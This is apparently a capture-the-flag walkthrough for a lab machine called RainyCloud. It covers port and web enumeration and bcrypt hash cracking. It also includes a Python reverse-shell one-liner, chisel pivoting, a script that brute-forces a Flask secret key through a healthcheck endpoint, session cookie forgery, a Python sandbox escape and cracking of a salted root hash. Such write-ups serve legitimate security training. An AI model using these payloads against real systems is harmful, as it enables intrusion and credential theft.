Scanning

> TARGET=10.129.59.24 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://rainycloud.htb
  • Add rainycloud.htb to /etc/hosts

Web Enum

  • dirsearch
> dirsearch -u http://rainycloud.htb
          
[01:03:51] 308 -  239B  - /api  ->  http://rainycloud.htb/api/              
[01:03:52] 200 -  649B  - /api/                                             
[01:04:33] 200 -    3KB - /login                                            
[01:04:34] 302 -  189B  - /logout  ->  /                                    
[01:04:41] 302 -  199B  - /new  ->  /login                                  
[01:04:56] 200 -    4KB - /register
  • subdomain discovery
> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://rainycloud.htb/" -H "Host: FUZZ.rainycloud.htb"

000000019:   403        0 L      5 W        26 Ch       "dev"
  • On a login failure, the page source shows the following comments
<!-- Sign In Form -->

<!-- RainyCloud-4: TODO - Remove debug errors from prod -->
<h4> Error - Login Incorrect! <!-- /var/www/rainycloud/./app.py:288 --></h4>
  • Found the following paths and corresponding hashes
http://rainycloud.htb/api/user/1.0
http://rainycloud.htb/api/user/2.0
http://rainycloud.htb/api/user/3.0

jack:$2a$10$bit.DrTClexd4.wVpTQYb.FpxdGFNPdsVX8fjFYknhDwSxNJh.O.O
root:$2a$05$x4nSvCqGHZBmBQnmNM2nXeWDzVvvsXaJiHsSv1pwZnxrcBFbOibZS
gary:$2b$12$WTik5.ucdomZhgsX6U/.meSgr14LcpWXsCA0KxldEw8kksUtDuAuG

rubberducky
  • gary password hash can be cracked: rubberducky
> hashcat.exe -m 3200 hashes.txt rockyou.txt

Foothold: container

  • Once logged in as gary, go to the http://rainycloud.htb/containers page and create a new container with any name
  • Once the container is created, Execute Command (background) and you can enter a python reverse shell there
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Internal Network Discovery

  • Setup chisel pivot
# on kali
./chisel server -p 9999 --reverse

# on container
./chisel client --max-retry-count=1 <ip>:9999 R:1080:socks
  • Scan internal hosts
> for p in {1..1024}; do proxychains -q nc -vn 172.18.0.1 $p -w 1 -z & done 2> output.txt

> cat output.txt| grep Connected
Ncat: Connected to 172.18.0.1:22.
Ncat: Connected to 172.18.0.1:80.
  • From previous subdomain enum, there is a dev subdomain that returned a 403. However, we are able to reach it via the pivot.
> proxychains curl http://172.18.0.1/
  • So, this means the site might be IP restricted; and the subdomain might be running on 172.18.0.1. To prove so, we need to pivot the remote port 172.18.0.1:80 onto local port.
  • Change the chisel pivot on target to map a specific port
# on container
./chisel client --max-retry-count=1 <ip>:9999 R:8888:172.18.0.1:80

# on kali, add the following entry to /etc/hosts
127.0.0.1     dev.rainycloud.htb
  • Now, browse to http://dev.rainycloud.htb, and we are able to see the dev page now.

Web Enum: dev

  • http://dev.rainycloud.htb:8888/api/ give some API information
  • There is a /api/healthcheck endpoint that supports POST methods and the parameters can be found be visiting the endpoint
{"result":true,"results":[{"file":"/bin/bash","pattern":{"type":"ELF"}},{"file":"/var/www/rainycloud/app.py","pattern":{"type":"PYTHON"}},{"file":"/var/www/rainycloud/sessions/db.sqlite","pattern":{"type":"SQLITE"}},{"file":"/etc/passwd","pattern":{"pattern":"^root.*","type":"CUSTOM"}}]}
  • The CUSTOM option can be used to match patterns in a file, we can use this to find out the secret key that is used to encrypt the cookie and gain access as another user by crafting the cookie by ourselves.
> curl http://dev.rainycloud.htb:8888/api/healthcheck --cookie 'session=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y0u9bg.Z-xCrPK1O0uS4rXo5pLAKLOMuSU' -d 'file=/etc/passwd&type=custom&pattern=^root.*'

{"result":true,"results":[{"file":"/etc/passwd","pattern":{"pattern":"^root.*","type":"CUSTOM"}}]}
  • Fuzz for available files
> wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt -b 'session=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y0u9bg.Z-xCrPK1O0uS4rXo5pLAKLOMuSU' -d 'file=/var/www/rainycloud/FUZZ.py&type=custom&pattern=^SECRET_KEY.*' --hc 500 http://dev.rainycloud.htb:8888/api/healthcheck

000000432:   200        1 L      1 W        120 Ch      "app"
000003538:   200        1 L      1 W        123 Ch      "secrets"

# confirm that SECRET_KEY is in secrets.py
> curl http://dev.rainycloud.htb:8888/api/healthcheck --cookie 'session=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y0u9bg.Z-xCrPK1O0uS4rXo5pLAKLOMuSU' -d 'file=/var/www/rainycloud/secrets.py&type=custom&pattern=^SECRET_KEY.*'

{"result":true,"results":[{"file":"/var/www/rainycloud/secrets.py","pattern":{"pattern":"^SECRET_KEY.*","type":"CUSTOM"}}]}
  • Fuzz for SECRET_KEY, f77dd59f50ba412fcfbd3e653f8f3f2ca97224dd53cf6304b4c86658a75d8f67
import string
import requests
import json

allchars = string.printable
cookies = {'session': 'eyJ1c2VybmFtZSI6ImdhcnkifQ.Y0u9bg.Z-xCrPK1O0uS4rXo5pLAKLOMuSU'}

s = requests.Session()
pattern = ""

while True:
    for c in allchars:
        try:
            rsp = s.post('http://dev.rainycloud.htb:8888/api/healthcheck', {
                'file': '/var/www/rainycloud/secrets.py',
                'type': 'custom',
                'pattern': "^SECRET_KEY = '" + pattern + c + ".*"
            }, cookies=cookies)
            if json.loads(rsp.content)['result']:
                pattern += c
                print(pattern)
                break
            else:
                print(c)
        except Exception:
            print(rsp.content)

User flag: jack

  • Generate session cookie for user jack using a tool called flask_session_cookie_manager
> flask_session_cookie_manager3.py encode -s f77dd59f50ba412fcfbd3e653f8f3f2ca97224dd53cf6304b4c86658a75d8f67 -t "{'username': 'jack'}"
  • Copy and paste the cookie into browser cookie and login as jack, then you can repeat the previouse foothold process to access the secrets container.
  • Upload pspy64 and monitor the background processes, there is a sleep command with excessively long time
2022/10/17 01:24:20 CMD: UID=1000 PID=1200   | sleep 100000000
  • Explore this proc for info found that it has a mount on the host folder where you can find the private key of jack
> /proc/1200/root/home/jack/.ssh/id_rsa
  • Login as jack to fetch the user flag

PE: jack_adm

  • A command can be run as jack_adm
jack@rainyday:~$ sudo -l
Matching Defaults entries for jack on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jack may run the following commands on localhost:
    (jack_adm) NOPASSWD: /usr/bin/safe_python *
  • This is a python sandbox escape scenario, where some keywords are filtered out. So, the typical approach is to re-load back the filtered builtins, and aim to import os
# ().__class__.__mro__[1].__subclasses__()[144] -> warnings.catch_warnings
# https://www.reelix.za.net/2021/04/the-craziest-python-sandbox-escape.html
> echo 'print(().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__["__builtins__"]["__loader__"]().load_module("builtins").__import__("os").system("bash -i"))' > /tmp/test && sudo -u jack_adm /usr/bin/safe_python /tmp/test

PE: root

  • Check commands that can be run as root
jack_adm@rainyday:/home/jack$ sudo -l
Matching Defaults entries for jack_adm on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jack_adm may run the following commands on localhost:
    (root) NOPASSWD: /opt/hash_system/hash_password.py
  • Run the python script and leave the password blank, it will generate a random hash, save the hash to a file
> sudo /opt/hash_system/hash_password.py
Enter Password> 
[+] Hash: $2b$05$x/p3650lBcUeg5PvP1PpmO2aLexNeNW.yU3Z.YRFph.ZEnR8ZUO0G
  • Prepare the wordlist to crack this hash and crack it, this will take a while, be patient
# SecLists/Passwords/Leaked-Databases/md5decryptor-uk.txt
> hashcat -m 3200 hash.txt md5decryptor-uk.txt
  • This will crack a salt value (Sup3rDup3r) used to encrypt the password, this can be used to crack the root password previously obtained from /api/user/3.0.
  • Re-generate the wordlist with salt and crack the root hash: 246813579Sup3rDup3r
> sed 's/$/Sup3rDup3r/' /usr/share/wordlists/rockyou.txt > newrockyou.txt
> hashcat -m 3200 hash.txt newrockyou.txt
  • Once the hash is crack, you can login as root and fetch the flag
> su root